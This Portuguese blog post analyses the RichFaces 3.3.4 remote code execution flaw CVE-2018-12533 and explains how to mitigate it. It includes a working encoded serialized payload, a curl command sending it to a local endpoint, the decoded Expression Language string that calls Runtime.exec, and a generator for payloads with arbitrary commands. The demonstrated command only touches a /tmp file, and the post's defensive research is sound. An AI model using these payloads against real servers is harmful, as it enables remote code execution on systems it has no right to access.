RichFaces Vulnerability CVE-2018-12533 RF-14310

mhagnumdw published in Richfaces

02/01/2025 1001 words 5 minutes

Contents

Demonstra a falha presente no RichFaces 3.3.4 de execução remota de código e como mitigar e/ou bloquear.

Exemplo de ataque
Clonar o repositório
Decodificando o payload
Deserializando a classe Java
Gerando um payload para testar a vulnerabilidade
Como mitigar?
- Se você realmente precisa desse endpoint
- Se você não precisa desse endpoint
Entendendo o fluxo da execução
Quem usa esse recurso?
Dicas
Links relevantes

Detalhes da CVE-2018-12533. Outras versões do RichFaces são vulneráveis, como pode ser visto aqui.

Exemplo de ataque

1
2
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/grpfor/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"

Após o DATA/ e até antes do .seam, é o payload do ataque. Isso é apenas uma classe Java serializada e zipada e codificada em Base64. É um Base64 com o formato um pouco modificado pelo RichFaces para ser compatível com a URL.

Essa classe contém uma linha de comando no formato de Expression Language que é executada pela aplicação, mais precisamente pelo RichFaces, e aí que está o problema, pois um código arbitrário pode ser executado no servidor.

O comando que está codificado no payload acima é touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458 (apenas para efeito de demonstração) e vamos constatar isso logo a frente.

Clonar o repositório

1
2
git clone git@github.com:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310

Decodificando o payload

1
2
3
4
5
6
echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin

Converte o payload do formato de Base64 do RichFaces para o formatado padrão de Base64. Decodifica o Base64, que nesse caso é um binário zipado, então descomprime, o que vai gerar o binário da classe java serializada.

Deserializando a classe Java

Aqui vamos ver o comando malicioso que está dentro do payload.

O comando abaixo vai mostrar todos os atributos da classe e os respectivos tipos definidos na classe. Não exibe os tipos em runtime, se não sabe o que isso significa, tudo bem.

Aqui estamos executando código Java como se fosse um script graças ao JBang

1
2
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin

O output é algo parecido com isso:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class

⚠️ O ponto principal é o atributo _paint.savedState.m.orig.expr, onde está o código malicioso, que nesse exemplo é apenas um código inofensivo que cria um arquivo no disco: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458

Gerando um payload para testar a vulnerabilidade

1
2
3
4
5
6
chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui

O output vai exibir os comandos no ponto de você executar contra um servidor vulnerável. Ajuste apenas a URL.

Como mitigar?

Se você realmente precisa desse endpoint

Uma opção menos simples e mais performática, é modificar o código do RichFaces para fazer algum tratamento. Mais abaixo tem a stack relevante.

Outra opção mais simples que a anterior, é criar um filtro (javax.servlet.Filter), que vai agir apenas no path em questão, deserializando o Base64 presente no path e fazendo a devida verificação para descobrir se o request pode continuar ou se tem que ser rejeitado. É importante frisar que a deserialização tem que ocorrer por meio da classe LookAheadObjectInputStream, como é feito em org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), para tentar evitar ao máximo problemas de segurança durante a deserialização, como por exemplo execução de código malicioso.

Se você não precisa desse endpoint

Um opção é bloquear o path do endpoint em algum proxy que esteja na frente da aplicação.

Outra opção, que acho que vale implementar, mas que não exime a primeira opção, é criar um filtro (javax.servlet.Filter), que vai agir apenas no path em questão e vai bloquear o acesso. O bloqueio consiste apenas em responder a requisição sem deixar a cadeia de filtros prosseguir a execução. Você pode colocar um texto no body e usar o http status code 410 (Gone). Lembrando que esse filtro deve ser definido no web.xml da aplicação. Um exemplo desse filtro: PathBlockerFilter.

Se usa JBoss EAP, o filtro falado aqui pode ser implementado como um valve (a mudança é mínima), e:
será executado antes dos filtros definidos no web.xml
deve ser definido no arquivo jboss-web.xml como sendo o primeiro <valve>, ou
pode ser definido no standalone.xml (ou domain.xml) no subsystem urn:jboss:domain:web por meio da tag <valve
Exemplo desse valve: PathBlockerValve

Entendendo o fluxo da execução

tl;dr: o código malicioso é executado pelo método org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), na linha paint.invoke(facesContext, new Object[] {graphics,data._data});.

Quando a requisição http é feita, ela chega ao método org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), conforme a stack abaixo:

Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
  owns: org.apache.coyote.Request  (id=27053)
  org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141

Na linha dataString = key.substring(dataStart); é extraído o Base64 no formato do RichFaces (lembrando que esse Base64 no final das contas é um objeto java que foi serializado e zipado);
Na linha objectArray = decrypt(dataArray) esse Base64 é decodificado e descomprimido;
Na linha data = in.readObject() o objeto java com o código malicioso é deserializando, ou seja, tem-se a instância do objeto.

Em seguida a requisição chega no método org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), conforme a stack abaixo:

Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
  owns: org.apache.coyote.Request  (id=27053)
  org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
  org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
  org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141

⚠️ Então na linha paint.invoke(facesContext, new Object[] {graphics,data._data}); o código malicioso é finalmente executado.

Quem usa esse recurso?

Vou citar um caso, o componente rich:paint2D: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D

Dicas

É possível ver o payload recebido pela aplicação ativando o log DEBUG passa a classe org.ajax4jsf.resource.ResourceBuilderImpl.

Contents